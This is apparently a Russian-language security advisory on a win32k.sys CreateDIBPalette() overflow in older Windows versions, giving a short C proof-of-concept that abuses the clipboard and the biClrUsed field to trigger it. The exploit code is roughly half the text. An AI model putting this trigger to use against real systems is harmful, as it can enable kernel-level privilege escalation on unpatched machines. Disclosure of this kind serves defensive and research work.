Программа:
Microsoft Windows 7
Microsoft Windows Server 2003 Datacenter Edition
Microsoft Windows Server 2003 Enterprise Edition
Microsoft Windows Server 2003 Standard Edition
Microsoft Windows Server 2003 Web Edition
Microsoft Windows Server 2008
Microsoft Windows Storage Server 2003
Microsoft Windows Vista
Microsoft Windows XP Home Edition
Microsoft Windows XP Professional

Уязвимость позволяет локальному злоумышленнику выполнить вредоносные действия
с повышенными привилегиями на целевой системе. Уязвимость существует из-за
ошибки в проверке входных данных в драйвере win32k.sys в функции "CreateDIBPalette()"
при копировании цветов в буфер фиксированного размера во время создания DIB
палитры. Атакующий может использовать "GetClipboardData()" API для передачи
большого количества цветов (более 256) через поле "biClrUsed" структуры
BITMAPINFOHEADER, что приведет к выполнению произвольного кода с привилегиями
ядра.

Эксплоит:

DEVMODE dm = {0};
dm.dmSize = sizeof(DEVMODE);
dm.dmBitsPerPel = 8;
dm.dmPelsWidth = 800;
dm.dmPelsHeight = 600;
dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
ChangeDisplaySettings(&dm, 0);

BITMAPINFOHEADER bmih = {0};
bmih.biClrUsed = 0×200;

HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0×1000);
memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih));
GlobalUnlock(h);

OpenClipboard(NULL);
SetClipboardData(CF_DIBV5, (HANDLE)h);
CloseClipboard();

OpenClipboard(NULL);
GetClipboardData(CF_PALETTE);



Оставить мнение